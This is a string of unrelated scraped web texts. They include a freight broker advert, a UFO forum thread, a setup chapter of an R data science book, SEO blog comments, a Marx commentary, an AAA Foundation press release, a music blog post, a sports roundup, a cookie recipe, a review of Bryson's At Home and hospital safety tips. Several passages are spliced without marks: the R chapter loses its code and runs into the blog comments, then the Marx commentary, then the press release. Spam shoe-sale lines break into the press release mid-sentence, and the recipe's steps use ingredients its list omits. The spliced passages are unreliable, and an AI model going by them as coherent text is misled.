At LTLCarrier.net, we help you find the LTL carrier to meet your specific shipping needs. Some LTL freight companies only operate intrastate while others are licensed with interstate operating authority. Some large carriers handle local and cross country deliveries.
With our network, the exact LTL shipping company you need is only an email away.
When to choose an LTL Carrier?
When you have a small load of six pallets or less to ship, you need an LTL carrier. LTL or less-than-truckload offers a cost-effective way to ship small volumes of freight without paying for a full truckload.
Often the carriers you choose depend on the location of your customers. A wide range of customers locations can require finding multiple carriers. This requires a significant time investment to find, manage, and track your freight.
We eliminate this.
Low Freight Rates and Great Customer Service
Our customer service professionals are experienced industry experts ready to assist you with all your shipping needs. We deliver fast freight quotes. We've made the process so simple, you can call or complete our online form to get started.
But our service goes beyond quoting and booking. Our trained personnel can help you plan a single shipment, multiple shipments, or even a full supply chain from beginning to end.
Whether it's one shipment of one pallet or a year's worth of freight, we work with you to reduce ship time, simplify freight management, and provide the lowest freight and shipping rates in the industry.
We Put Service First
LTL freight is a highly competitive business. Choosing the right carrier involves more than great low shipping rates. You also need quality customer service. It's the difference between a seamless shipping experience and a low price and headaches.
Classifications and LTL Rates
All LTL shipments are given a classification depending on what's being shipped. This classification determines the price of your shipment. The National Motor Freight Classification (NMFC) is the industry standard for classifying the individual products and commodities that are shipped from point to point.
Class and weight and sometimes dimensions affect your LTL rates. Generally, heavy and less fragile cargo receive a low class rating while light and more fragile items have a higher class. This means you would pay 2x more for a 1,000 lb shipment of class 100 items than you would for 1,000 lbs of a class 50 item.
How to Save Time and Money with LTL Freight
Why call many companies when you can get those answers with one phone call? At LTL Carrier, we deliver you the options and services you need at the most competitive rates in the industry.
Call us now. Or fill in the form above and one of our LTL logistics professionals will contact you shortly.
Shipping Tools, Tips and Information


text:
It looks like you're using an Ad Blocker.
Please white-list or disable AboveTopSecret.com in your ad-blocking tool.
Thank you.
Some features of ATS will be disabled while you continue to use an ad-blocker.
Originally posted by I know it all...
reply to post by gavron
Insects really?? If thats the case i won't even bother uploading the rest of the pics.... moving that fast?
Perception is a wonderful thing...
see that "insect" in my first pic? coming over that hill? thats actually a mountain!
see that little shack? thats actually a house!
see them little pebbles? there actually boulders!
This "insect" must be actually bigger than a basketball!
Originally posted by I know it all...
reply to post by wmd_2008
Mystery solved - its just some fast moving pollen.
Nothing to see here officer.....move along!


text:
You can only use an observation once to confirm a hypothesis. As soon as you use it more than once you're back to doing exploratory analysis. This means to do hypothesis confirmation you need to "preregister" (write out in advance) your analysis plan, and not deviate from it even when you have seen the data. We'll talk a little about some strategies you can use to make this easier in modelling .
We've made a few assumptions about what you already know in order to get the most out of this book. You should be generally numerically literate, and it's helpful if you have some programming experience already. If you've never programmed before, you might find Hands on Programming with R by Garrett to be a useful adjunct to this book.
There are four things you need to run the code in this book: R, RStudio, a collection of R packages called the tidyverse , and a handful of other packages. Packages are the fundamental units of reproducible R code. They include reusable functions, the documentation that describes how to use them, and sample data.tidyverse
To download R, go to CRAN, the c omprehensive R a rchive n etwork. CRAN is composed of a set of mirror servers distributed around the world and is used to distribute R and R packages. Don't try and pick a mirror that's close to you: instead use the cloud mirror, https://cloud.r-project.org , which automatically figures it out for you.
A new major version of R comes out once a year, and there are 2-3 minor releases each year. It's a good idea to update regularly. Upgrading can be a bit of a hassle, especially for major versions, which require you to reinstall all your packages, but putting it off only makes it worse.
RStudio is an integrated development environment, or IDE, for R programming. Download and install it from http://www.rstudio.com/download . RStudio is updated a couple of times a year. When a new version is available, RStudio will let you know. It's a good idea to upgrade regularly so you can take advantage of the latest and greatest features. For this book, make sure you have RStudio 1.0.0.
When you start RStudio, you'll see two key regions in the interface:
For now, all you need to know is that you type R code in the console pane, and press enter to run it. You'll learn more as we go along!
You'll also need to install some R packages. An R package is a collection of functions, data, and documentation that extends the capabilities of base R. Using packages is key to the successful use of R. The majority of the packages that you will learn in this book are part of the so-called tidyverse. The packages in the tidyverse share a common philosophy of data and R programming, and are designed to work together naturally.
You can install the complete tidyverse with a single line of code:
On your own computer, type that line of code in the console, and then press enter to run it. R will download the packages from CRAN and install them on to your computer. If you have problems installing, make sure that you are connected to the internet, and that https://cloud.r-project.org/ isn't blocked by your firewall or proxy.
You will not be able to use the functions, objects, and help files in a package until you load it with . Once you have installed a package, you can load it with the function:
This tells you that tidyverse is loading the ggplot2, tibble, tidyr, readr, purrr, and dplyr packages. These are considered to be the core of the tidyverse because you'll use them in almost every analysis.
Packages in the tidyverse change fairly frequently. You can see if updates are available, and optionally install them, by running .
There are many other excellent packages that are not part of the tidyverse, because they solve problems in a different domain, or are designed with a different set of underlying principles. This doesn't make them better or worse, just different. In other words, the complement to the tidyverse is not the messyverse, but many other universes of interrelated packages. As you tackle more data science projects with R, you'll learn new packages and new ways of thinking about data.
In this book we'll use three data packages from outside the tidyverse:
These packages provide data on airline flights, world development, and baseball that we'll use to illustrate key data science ideas.
The previous section showed you a couple of examples of running R code. Code in the book looks like this:
If you run the same code in your local console, it will look like this:
There are two main differences. In your console, you type after the , called the prompt ; we don't show the prompt in the book. In the book, output is commented out with ; in your console it appears directly after your code. These two differences mean that if you're working with an electronic version of the book, you can easily copy code out of the book and into the console.
Throughout the book we use a consistent set of conventions to refer to code:
Functions are in a code font and followed by parentheses, like , or .
Also, I learnt that if you want your customers to continue reading your article you should try to hook them at the beginning. Maybe with a question that you will answer a little later on in the article – this way your customers will continue reading as they are interested in the answer.
Thanks for the great feedback, Abel! It's always rewarding to see sign ups increasing from simply adding a more prominent CTA! Good point too about hooking your reader - having good quality content also matters a great deal. Do you do content audits? Any things you'd add to my list?
You're right that we neglect the testimonies. Often, we do not trust them, but we are aware that most Internet users have a look at them before buying. A bad opinion, even false, can cause us a brand crisis and that is something very serious.
I would add the typical mistake when you do not work with a good copywriter that prevents it from being written only for Google. You can position yourself quickly on the first page, but without content that convinces you will not create good relations with your audience
That's a great add! Bad SEO copywriting is definitely not helpful for visitors and it's certainly not working in search like it once did. If you follow Danny Sullivan's Twitter thread in this article on Google's latest algorithm update, he says stay focused on creating quality content. That seems to be the way Google is going with each update, which is great for users too.
Thanks for the feedback!
Good stuff Alli! We have seen huge improvements with interaction on our website and our client's websites by simply focusing on #1 and making sure their is a clear CTA. Going back through your content and looking for internal link opportunities like you mentioned in #8 is a great way to give multiple pages on your website an SEO boost as well. Thanks for sharing your insight here and very well-written!
Thanks for the nice feedback! Sounds like you've done some auditing too. Any adds to my list?
POP UPS. Can we call those mistakes yet? JK..but seriously.
I certainly don't disagree with you! I haven't encountered any in my content auditing, surprisingly. At least Google is penalizing the intrusive ones, so there's also that argument. It's definitely something to do with caution. Good add!
If all organisms are, by virtue of their corporeal organization, sensuously acting, objectifying subjects, then the differences among them and the worlds they build must be sought there as well. In what could be viewed an anticipatory interrogation of "the human and the animal," Marx insisted that human beings, like all other animals, are "species-beings," that is: all human beings share the definitive attributes of their species. And like that of other animals, human " species-life consists physically in the fact that human beings live from nature." 30
Having thus established the kinship between Homo sapiens and other animals, Marx then contrasts human species-being with that of other species on the basis of the quantity and quality of their objectifying capacities: "One can differentiate human beings from animals on the basis of consciousness, religion or what one will. Humans themselves begin to differentiate themselves from other animals once they begin to produce their means of life." He adds emphatically, this "step is made possible by their corporeal organization ." 31 Marx readily acknowledges that other animal species also produce : they "build nests, houses, like the bee, beaver, ants." But they "only produce what they immediately need for themselves and their offspring"; they produce "one-sidedly," "only under the dominion of immediate physical need." 32
Homo sapiens , however, is not so limited, or better: human natural limits can be artificially expanded. In contrast to the "one-sided" production of other animals, the human animal produces " universally ." Because universalist claims are easily abused, and because Marx is clearly speaking of the " relative universality" of humans vis-à-vis other species, I will replace universality with multi-dimensionality. Human multidimensionality contrasts in three ways with the one-dimensionality of other animals.
First, the multi-dimensionality of human production derives from the productive capacities embedded in human corporeal organization—the instruments, capacities, and dexterities embedded in the species-specific body that enable human beings to make that which is necessary to satisfy their needs and wants. Whereas other animals "produce only according to the measure and needs of their species," human beings learn to produce "according to the measure of every species"—which simply states the obvious fact that humans can produce as artifacts that which "immediately belongs to the physical body" of other species (clothes as artificial skin) and can learn to make things to do what other species do "instinctually" (winged vehicles to fly).
Second, the multi-dimensionality of human productive capacities enables human beings to "make all nature into their extended body, both insofar as nature is an immediate means of life, and insofar as it is the material, the object, and the tool of human life activity." With the corporeal instruments and imagination to turn nearly everything into objects of their productive objectification, human beings "produce in freedom." And because they "know how to produce in accordance with the standard of every species ," human beings reproduce "the whole of nature." 33
Foundation Announces Research Priorities and Unveils New Website
WASHINGTON, D.C. (February 27, 2018) – Celebrating 70 years of research and education supporting the mission of reducing roadway crashes, injuries and deaths, the AAA Foundation for Traffic Safety has unveiled a new website – AAAFoundation.org – focused on its four core traffic safety research priorities: emerging technologies, vulnerable road users, driver behavior and performance, and roadway systems and drivers.
"For seven decades the AAA Foundation has been committed to addressing critical safety issues," said Foundation Executive Director David Yang. "As vehicle technologies and the ways humans interact with them evolve, so will the Foundation's research. With an eye toward the future, our focus is on improving road and vehicle designs to ensure all drivers get home safely at the end of the day."
Since its founding, the AAA Foundation has funded several hundred projects to discover the causes of traffic crashes, prevent them and minimize injuries when they do occur. Early on, studies focused on young drivers, education programs and driver training techniques. Over the years, research expanded to include teen and older drivers, senior mobility, driver distraction and evolving road safety issues such as impaired driving.
Respected for both in-house research expertise and for its work with leading experts in North America, the Foundation's work provides meaningful scientific insights into today's traffic safety challenges. Examples can be found at AAAFoundation.org and include:
"The Foundation has been true to its mission to prevent traffic deaths and injuries through research and to educate the public ultimately to identify safe driving behaviors," said AAA President and CEO Marshall L. Doney. "AAA is proud to support the Foundation's work, and through our national and club professionals, to put the Foundation's important research findings into action across the nation."
AAA has applied research from the AAA Foundation to help strengthen laws, build public awareness of safety concerns and trends, inform automakers on safety design issues, and advise
NIKE Womens Roshe Two Flyknit 365 AnkleHigh Fashion Sneaker Wolf Grey Green Glow 004 outlet cheap online fHThgWV
and highway departments on vital roadway improvements.
The Foundation's enhanced website is in celebration of the 70th anniversary. Highlighting the four core traffic safety research priorities, AAAFoundation.org is a sleek, professional resource featuring the Foundation's research and resources. Visitors can sign up to receive Foundation updates and learn more about research focus areas and the request for proposal process.
About AAA Foundation for Traffic Safety : Established in 1947 by AAA, the AAA Foundation for Traffic Safety is a not-for-profit, publicly funded, 501(c)(3) charitable research and educational organization. The AAA Foundation's mission is to prevent traffic deaths and injuries by conducting research into their causes and by educating the public about strategies to prevent crashes and reduce injuries when they do occur. Visit www.AAAFoundation.org .
We Work Remotely
Copyright © 2018 •
low cost sale online Caterpillar Mens Southwark Waterproof Chukka Boot Bitteroot sale store free shipping low shipping fee websites for sale buy cheap footlocker pictures A6pHOh
Tiny Boards
along with
Designer News
Unicorn Hunt
perfect discount with paypal Rollie Suede Heart Fabulous Womens outlet where to buy InvkQ
, Future Jobs , Jobs For Smart People and more. Get in touch.
71,520 Remote jobs posted


text:
About two years ago, shortly after getting home from a six-week-long national tour, I had a realization. I like being home. A lot. Home is where you know people, and where everything is just right, because, well, you've made it that way. It's kind of a tough thought to deal with when you perform music, as it's a calling that one usually answers anywhere but home.
So I was thinking about that one beautiful spring day as I drove the streets of Des Moines, loving life and glad to be home when, like the sun comes blasting though a break in the clouds, the most joyful sounding music I'd ever heard came on the radio. Windows rolled down, warm breeze, smile on my face, and a sound that captured the beauty of being alive. I was a newborn, rolling about in glee at the possibility of everything. Big brass horns, trombones and trumpets, glistened in that sunlight. Guitars twinkled in the sky as the sun set, and voices arose in unison like beautiful buzzing insects, growing in excitement as the moon climbed higher. I could see it in my mind. Nothing mattered anymore. I was transported.
The sounds I was hearing turned out to be made by a band called Sierra Leone's Refugee All-Stars. I was obsessed. I had to find their records, find out who they were, what they were. How could this exist and I not know about it? I remedied the situation by immediately buying the band's newest record at the time, Rise And Shine. It became the soundtrack to my spring. My time on tour coupled with experiences during a very transformative week at Mission Creek Festival 2010 that week had me completely re-evaluating why I make music, and understanding how powerful it can be when utilized with proper intentions. This period in my life was extremely influential on everything I've done and the art I've made since then, and the Sierra Leone's Refugee All-Stars record was at the forefront of my transformation.
Here's a band without the choice to go home after a tour, their homes gone, destroyed in the Sierra Leone Civil War. They've since made it their mission to bring joy and healing through song. It amazes me that these musicians and songwriters, brought together by something that tore so many families and friends apart, can face the world with optimism, looking to the future rather than dwelling on their past.
I really fell in love with Rise and Shine; it prompted my own exploration into African music, through which I've been exposed to incredible artists such as Fela Kuti, Amadou & Mariam, and Tinariwen. It all started with the All-Stars. A lot of artists share messages of peace and perseverance through tribulation, but only the All-Stars offer joyfulness bright and shining beyond belief. It was this band that helped me to understand two things. First, I realized that my idea of wanting to be home was all wrong; if I am in touch with my motivations, then my mind is at peace, and I can feel at home anywhere. Second, I learned to always think I might be wrong. There's always something we don't know or understand. Grasping this concept is a beautiful thing.
I love the band's music so much that last year I drove all the way to Columbia, Missouri, for a show of theirs and came back that same night! It was an absolutely incredible experience and completely worth it, but fortunately for you, you won't have to prove your faith in my taste by driving that far, because Sierra Leone's Refugee All-Stars are coming to Ames June 4! The fact that this band is playing in Ames, Iowa, entirely blows my mind. You have to go. I have to go. I am going.
If you still aren't convinced after my somewhat incoherent ramblings, let me put it straight for you: I don't believe in God, but when I listen to Sierra Leone's Refugee All-Stars, I do believe in Jah.


text:
Manny Ramirez showing up on time to camp is the top story in the papers this morning, and him speaking to the media on his arrival is an even bigger one.
Steve Buckley has Ramirez happy, upbeat and wanting to stay in Boston for the rest of his career. Jeff Goldberg has Manny stating that he wants to be here for the next two years, but that he'll leave that decision to the Red Sox. Amalie Benjamin says Manny didn't stick around for long yesterday, but it was enough just that he was there at all. Buckley add that the Red Sox are in an ideal position to be able to deal with Manny and dictate whether he remains here and stays productive for the next two seasons. Rob Bradford says that Manny's arrival made Theo Epstein a happy GM.
Sean McAdam notes that as is the case with players, only certain managers can thrive in Boston. Terry Francona has certainly proved that he can not only survive, but be wildly successful. Rob Bradford examines how keeping a journal has made a huge difference for Josh Beckett. Garry Brown says that the future is now for Jacoby Ellsbury. Joe Haggerty has a Q&A session with new Sox reliever Danny Kolb, who recalls his first trip to Fenway Park.
McAdam's notebook has more on Manny's acceptance of his situation with the option years. Bradford's notebook revisits a winter of discontent for Alex Cora. Gordon Edes' notebook has more on Kolb trying a win a job with the Red Sox. Goldberg's notebook has Epstein addressing the Coco Crisp situation.
The Patriots did not tag Randy Moss with the franchise designation yesterday, leaving some to speculate that the team is close to an extension with the record setting receiver. Karen Guregian says that no tag means that the two sides likely have a verbal agreement. (The Patriots can't officially sign him until the new league year starts at the end of next week.) Mike Reiss also has a look at the situation for the two sides. David Heuschkel and Shalise Manza Young each also speculate that the absence of the tag could mean a long term deal between the sides in in the works.
John Tomase has quotes from around the league at the NFL combine on camera-gate. Young also has quotes from that event, including comments from the infamous NFL Competition Committee on the matter. Tomase also reports on the Patriots adding Dom Capers to their coaching staff. Over on Patriots Daily, Scott Benson also speculates as to the significance of the addition of a veteran NFL defensive mind to the coaching staff.
Capers, as you might recall, was a candidate for the head coaching job with the Patriots before Bill Belichick was hired. There was talk of a Tom Donahoe/Capers GM/Head Coach combination, a situation that then-Patriots beat man Nick Cafardo was strongly in favor of.
Reiss's notebook has more on Capers, noting that the addition could free of Belichick to work more elsewhere with his club. The Herald notebook has the Patriots declining the option on Donte Stallworth's contract, making him free to sign elsewhere.
Fluto Shinzawa and Stephen Harris have the Bruins rallying for a 5-4 shootout win over the Florida Panthers last night. The win puts the Bruins at 3-0-1 on their five game trip.
Shinzawa has Richard Zednik speaking for the first time since his gruesome injury. Harris' notebook has GM Peter Chiarelli mum on any possible deal for Atlanta's Marian Hossa. Shinzawa's notebook has more on Chiarelli's options at the trade deadline.
The Celtics are in Phoenix tonight to take on the Suns and their new acquisition, Shaquille O'Neal, who made his debut with the club earlier this week. After giving up 243 points over the last two games, Marc J. Spears and Steve Bulpett have the Celtics looking to get back to what got them the league's best record – defense. On the BSMW Full Court Press, Shirley Coshatt says that defensive guru Tom Thibodeau needs to stick around beyond this season for what he has brought to the Celtics.
Spears' notebook has the Celtics believing that the addition of O'Neal makes the Suns more imposing. Bulpett's notebook looks at a quite trade deadline day for Danny Ainge. Jeff Howe has more on the deadline passing with no deals for the Celtics.
Nancy Marrapese-Burrell chats with new channel 7 sports reporter/anchor Julie Donaldson.


text: If you are currently struggling with getting traffic to your website, or converting that traffic when it shows up, you may think you've got a traffic or conversion problem. In Russell Brunson's experience, after working with thousands of businesses, he has found that's rarely the case. Low traffic and weak conversion numbers are just symptoms of a much greater problem, ...Read More »


text:
Want more from Genius Kitchen?
Watch on your Apple TV, Roku, or Fire TV and your iOS, Fire, or Android device.Learn More
Fruit Loop Cookies and Orange Icing
Chef's Note
"I adopted this recipe from Recipezaar in February 2005. I made several changes based on the review posted by Jenna Marie. I'm really happy with the changes I've made to the recipe. These cookies are great with or without icing and would be perfect for a child's party."
READY IN:55mins
Ingredients Nutrition
- 1⁄2 cup butter, softened
- 1⁄2 cup shortening
- 1⁄2 cup sugar
- 1⁄2 cup packed brown sugar
- 2 eggs
- 1 cup all-purpose flour
- 1 teaspoon orange extract
- 1 cup Fruit Loops cereal
- 1 cup confectioners' sugar, sifted
- 1 tablespoon orange juice
- Fruit Loops cereal, to garnish
- Preheat oven to 375°F.
- Cream together butter, shortening, sugar and brown sugar.
- Add eggs one at a time, beating well after each addition.
- Add flour, baking powder, baking soda, salt, and orange extract; mix well.
- Stir in Fruit Loops.
- Drop by level tablespoonfuls onto a baking sheet or baking stone.
- Bake for 10-12 minutes, until light golden brown.
- Remove baking sheet from oven and allow cookie to cool on baking sheet for about 5 minutes before moving them to a wire rack to cool completely.
- For orange icing, combine confectioners' sugar and orange juice together in a small bowl, mixing until smooth.
- Ice cookies and garnish with additional Fruit Loops.
get the genius kitchen app.
Watch on your iPhone, iPad, Apple TV, Android, Roku, or Fire TV.Learn More


text:
Lesley Bohm
Lesley was born and educated in Montreal, spent her first university year in Neuchatel, Switzerland, and finished a degree in botany, with a minor in French and German literature, at McGill University. Her drawing career started at the age of three at which time she showed a characteristic independent attitude: she refused to draw stick figures the way the rest of the class was instructed to do! A significant part of the plant taxonomy class at McGill consisted of producing detailed drawings of specimens of each plant group being studied. The combination of formal artistic training, also obtained in Montreal, with detailed study of plant anatomy and morphology equipped Lesley for her later work as a botanical illustrator. In 1961 she married a guy named Bruce Bohm (a post-doctoral research fellow at McGill at the time, and the one who does the Hawaii articles for Floridata) and settled, eventually, in Vancouver where he had a job teaching at the University. It was not long before Lesley's talents were utilized in preparing illustrations for scientific papers, textbooks, and for Davidsonia, the quarterly journal of the University of British Columbia Botanical Garden. With the demise of the garden journal (the first of the University's many downsizings) she shifted her interest to water color paintings of native plants of the western United States, Canada and the Hawaiian Islands, activities that continue to this day. She is a member of a local group of artists who participate in an annual program called "Artists in Our Midst" that features painters, sculptors, and photographers in mixed shows and a series of open houses. She also teaches flower painting in a summer program at the Van Dusen Botanical Garden in Vancouver. In addition to painting and traveling, Lesley is an avid gardener, hiker, back-country skier, and strong advocate for non-motorized access to the back-country. She is also a wicked cook and likes cats (as pets, not to eat)!


text:
One of the few good things about flying is being trapped with a book for hours at a time. Recently, the book I couldn't escape was Bill Bryson's At Home. It's a rumination on how his home in England, a former rectory, came to be the way it is. And, by extension, how houses and private life in general took the form we know today. (I already wrote a bit about the book when I heard Bryson talk about home lighting, bathing, and servants on MPR.)
Bryson's house was built in 1851, and that year recurs as a historical turning point throughout the book, starting with the Crystal Palace in Hyde Park, through the beginning of tea processing in India to the first use of the term "slum" to the introduction of the flush toilet. From the technological to the sociological, the book is one revelation after another. I've been spouting facts from its pages to anyone who'll listen for the past month.
Bryson uses each room of his home to bring up any topic he finds even tangentially related, and the result is amazing. From the book I learned that...
Through the mid-1800s, English clergymen were far from paupers. Rectors like the one who built Bryson's house were paid the equivalent of $400,000 a year in today's dollars in exchange for basically no work. They generally didn't have a sense of religious vocation or do the type of pastoral work we associate with ministers today: they gave one sermon a week, and many of them took the easy option of reading right out of a widely distributed book of sermons. What did they do with their copious amounts of free time? Some of them thought, wrote and invented. Their products include: a dictionary of Icelandic, novels such as Tristram Shandy, the power loom, the Jack Russell terrier breed, gas lighting, the submarine, many plant varieties, and aerial photography from hot air balloons, Not to mention the work from which we derived the term Malthusian and the concept of Bayes' theorem, which was unprovable when it was created but now is used to model climate change, predict the behavior of stock markets, arrive at radiocarbon dates, and for many other tasks that involve probability.
The subject of servants is fascinating. "By 1851, one-third of all the young women in London -- those aged from about fifteen to twenty-five -- were servants. One in three was a prostitute. For many, that was about all the choice there was" (p. 88). And this: "our standard image of servants in black uniforms with frilly caps, starched aprons, and the like actually reflects a fairly short-lived reality. Servants' uniforms didn't become routine until the rise of cotton imports in the 1850s. Before then, the quality of clothes worn by the upper classes was so instantly and visibly superior to that of the working classes that it wasn't necessary to distinguish servants with uniforms" (p. 95). Servants were treated as subhuman, generally, and worked from before the masters rose until after they had gone to bed, every day of the week. Yet this was considered a good job, compared to working in a factory or mine.
Washing clothes was a huge task, and laundry servants in each house had their own concoctions and processes. Bryson notes, "items of clothing made of different types of fabrics -- of velvet and lace, say -- often had to be carefully taken apart, washed separately, and then sewn back together" (p. 107). Laundry had to be done in the home, for the most part, because of the fear of infection, let alone squeamishness about the idea that an upper-class person's clothes might be washed with a lower-class person's.
In my earlier post, I noted Bryson's point that a typical middle class family in the evening would have shared candlelight that was no brighter than the amount of illumination cast by a modern refrigerator. Gas streetlights also were less helpful than you might think: they cast less light than a 25-watt bulb, and were at least 30 yards apart.
Oil lamps were better than candles, but oil sources were expensive. The best was whale oil. As many as 300,000 whales were killed in the 40 years before 1870. Bryson speculates that many, if not all, whale species would have become extinct if kerosene had not been invented. Distilled from coal tar, it soon led other inventors and entrepreneurs to the exploitation of oil (petroleum), which could be distilled into kerosene and gasoline. The latter was thought to be useless, by the way, because it was too combustible.
Indoor gas lamps became common in larger cities after 1820. Unfortunately, the burning gas could make people sick, and "blackened ceilings, discolored fabrics, corroded metal, and left a greasy layer of soot on every horizontal surface" (p. 123). But the lamps were about 20 times as bright as candles. "It is no coincidence that the mid-nineteenth century saw a sudden and lasting boom in newspapers, magazines, books, and sheet music. The number of newspapers and periodicals in Britain leaped from fewer than 150 at the start of the century to almost 5,000 by the end of it." (Changes in typesetting and printing had something to do with that, as well, I'd note.)
The cause of scurvy, vitamin C deficiency, was suspected but not recognized by science until 1939 (!) when a Harvard surgeon withheld the vitamin from his diet until he nearly died. After 19 weeks of malaise, he suddenly "took a turn for the worse -- so much so that he would almost certainly have quickly died had he not been under close medical supervision. He was injected with 1,000 milligrams of vitamin C and was restored to life almost at once" (pp. 167-168). By the way, humans are the only animals (except guinea pigs) that can't synthesize their own vitamin C.
The chapter on the dining room includes fascinating details about the spice trade and the discovery of the New World. About Columbus, Bryson writes, "It would be hard to name any figure in history who has achieved more lasting fame with less competence" (p. 174). Magellan, whom I always thought circumnavigated the globe, actually died before completing the journey; only 18 of his 260 men survived the voyage.
As anyone knows who has read Charles Mann's incredible book 1491, much of the food grown worldwide today came from the native people of the Western Hemisphere; Bryson puts it at 60 percent of all crops (potatoes, tomatoes, and corn, just to name a few). Like many a new technology, "No one foresaw this at the time, however. For the Europeans the irony is that the foods they found they mostly didn't want, while the ones they wanted they didn't find" (p. 176).
The British began drinking tea in the mid-1600s, and could purchase it only from China until the early 1800s because the Chinese managed to keep secret the process of curing the plants. In the 1840s, a Scotsman named Robert Fortune crisscrossed China, pretending to be a native and gathering information on how tea was grown and treated. By saying he was from another part of the country each time (since he spoke no dialect of Chinese), Fortune managed to learn enough to replicate tea processing in India.
Wallpaper was incredibly toxic, especially green wallpaper, which contained arsenic. Bryson speculates this may explain why the chronically ill so often recovered after being moved for a "change of air."
By the early 1800s, the power looms of the Industrial Revolution were poised to vastly expand the production of cloth, particularly cotton, but there was a problem with supplying the raw material, which originally came from India. The American South was perfect for growing cotton, but "the only variety that would grow well in most southern soils was a difficult type known as short staple cotton. This was impossible to harvest profitably because each boll was packed with sticky seeds -- three pounds of them for every pound of cotton fiber -- and these had to be hand-plucked one by one… even with slave labor it could not be done economically" (pp. 394-395). And this is where Eli Whitney and his cotton gin come in, of course. "Before cotton, slavery had been in decline in the United States" but the cotton gin made slavery economically viable. The vast influx of raw material increased production so much that there weren't enough adult mill workers, and so it also led the English mill owners to hire children. Thanks, Eli!
I've probably already tried to include too much here... there's no substitute for reading this phenomenal book yourself. (I didn't even mention the parts about cement, the telephone or the mousetrap.)
But I can't end without saying that Bryson points out that comfort as we now think of it was an unknown concept until almost 1800. It wasn't something you experienced yourself, but instead something you gave to someone else. Comfortable was first used in its modern sense in 1780, but by the early 1800s, it had become common to talk about a comfortable home or a comfortable living.
By then, everyone wanted comfort, but Bryson makes it clear that not many had it. The richest people ever were the U.S. financial moguls, such as the Rockefellers, Morgans, Astors, Carnegies and Vanderbilts, who had their heyday around 1900. Adjusted for inflation, they had more money than anyone today (and paid no income tax, to boot). But I am endlessly fascinated that they were no more comfortable (and in many ways were less comfortable) than many middle-class Americans today. They may have worn fur and eaten caviar, but they were hot in the summer, cold in the winter, and they had bad toilet paper.
To make so many of ourselves so comfortable, we've been using energy at an incredible rate. Bryson notes, "Of the total energy produced on Earth since the Industrial Revolution began, half has been consumed in just the last twenty years. Disproportionately, it was consumed by us in the rich world; we are an exceedingly privileged fraction" (p. 451).
Clearly, things cannot last as they are without major breakthroughs in clean energy production, combined with a willingness to give up some of our comforts. But as I flew across the country with Bill Bryson and his descriptions of what life was like before the invention of modern private life, I scribbled onto the title page of the book:
I'd be willing to give up cars, planes, and the long-distance trucking of food if we can just keep electric lighting, gas heat, running water and sewage.
Monday, November 22, 2010
Bill Bryson's At Home (Again)
One of the few good things about flying is being trapped with a book for hours at a time. Recently, the book I couldn't escape was Bill Bryson's At Home. It's a rumination on how his home in England, a former rectory, came to be the way it is. And, by extension, how houses and private life in general took the form we know today. (I already wrote a bit about the book when I heard Bryson talk about home lighting, bathing, and servants on MPR.)
1 comment:
- Carmella said...
I can't wait until this book is in my house. Maybe it will come on the iPad as that is easier for paws than paper pages (I usually turn pages with my tongue but this perplexes my family as to why their books are slightly soggy.)
- November 26, 2010 at 12:27 PM


text:
Yes. Many resources are available to patients and families that discuss patient safety tips during hospitalization. In the event you or a loved one becomes a patient at Orlando Health, partnering with our clinical team regarding your care plan can potentially increase your safety and improve your overall experience. Below are a few resources you can view at your convenience addressing patient safety tips and the importance of communication with your clinical care team.
1. Know the AHA/HRET's top ten safety tips for patients and their families.
2. Learn how you can help prevent a fall and avoid injury.
3. Review the American Hospital Association's "Five Steps to Safer Health Care."
Additional patient and family education sheets are available at all Orlando Health facilities upon request. A few of the topics include:
1. "Let's Be Partners in Your Care!" (This sheet addresses the importance of hand washing.)
2. "Understanding Isolation Precautions" (This is designed for patients restricted to their room.)
3. What are "Multidrug-Resistant Organisms (MDROs)"? (This is designed for patients that are told they have a MDRO.)
Remember, communication is key. Speak up if you don't understand your hospital care plan or need additional resources on any health topic.


text:
Shards of the Shattered Pact: Seowyn's Crossing
No one is sure exactly what the first demons were. Some suggest they were a race of foul entities from the depths of the Elemental Chaos called the tanari'i. Some say that they were Primordials who fled into the depths of the Abyss rather than be imprisoned by the Gods. Whatever they once were, what they are is chaos and destruction incarnate.


text:
Falkirk in Stirlingshire, Scotland, United Kingdom
Captain William Edmonstone and the Dollar Family
This is the tomb of Captain William Edmonstone of Cambuswallace, killed at the Battle of Falkirk in 1746. It also honours the family of Falkirk-born, US shipping millionaire, Robert Dollar who gifted 13 bells to hang in the church tower
Location. 55° 59.991′ N, 3° 47.121′ W. Marker is in Falkirk, Scotland, in Stirlingshire. Marker can be reached from Manse Place just west of Vicar Street. Touch for map. Located in the churchyard at Falkirk Trinity Church.
Other nearby markers. At least 8 other markers are within 5 kilometers of this marker, measured as the crow flies. Colonel Robert Munro (here, next to this marker); Sir John de Graeme (a few steps from this marker); Sir John Stewart (a few steps from this marker); The Bute Memorial (within shouting distance of this marker); The Parish Church Graveyard (within shouting distance of this marker); Sir John De Graeme Memorial (approx. 0.9 kilometers away); Battle of Falkirk Muir (approx. 2.2 kilometers away); Forth & Clyde Ship Canal (approx. 3.5 kilometers away). Touch for a list and map of all markers in Falkirk.
Categories. • Cemeteries & Burial Sites •
Credits. This page was last revised on June 16, 2016. This page originally submitted on September 2, 2015, by Brandon Fletcher of Chattanooga, Tennessee. This page has been viewed 259 times since then and 17 times this year. Photos: 1, 2, 3, 4, 5. submitted on September 2, 2015, by Brandon Fletcher of Chattanooga, Tennessee. • Andrew Ruppenstein was the editor who published this page.


text:
Fiber Artists Coalition
Traveling exhibitions of fine fiber art by juried artist members of the international organization Studio Art Quilt Associates.
New Exhibit in development: Wabi Sabi
The works submitted for Wabi Sabi are currently being reviewed. The curator will be selecting the works by Oct. 15, 2015. At that time the images of the art will be installed here.
Please revisit this page after Oct. 15, 2015


text:
Practical application of DNA technology to support livestock breeding in southern Africa
TypeConference Paper
AccessibilityUnrestricted Access
MetadataShow full item record
Kotze, A., Harris, E.J., Soma, P. and Joubert, E. 2006. Practical application of DNA technology to support livestock breeding in southern Africa. In: Rege, J.E.O.; Nyamu, A.M.; Sendalo, D. (eds.). 2006. The role of biotechnology in animal agriculture to address poverty in Africa: Opportunities and challenges. Proceedings of the 4th All Africa Conference on Animal Agriculture and the 31st annual meeting of Tanzania Society for Animal Production, Arusha, Tanzania, 20–24 September 2005. Dar es Salaam, Tanzania: TSAP and Nairobi, Kenya: ILRI.
Permanent link to cite or share this item: http://hdl.handle.net/10568/4773
External link to download this item: http://cgspace.cgiar.org/handle/10568/2275
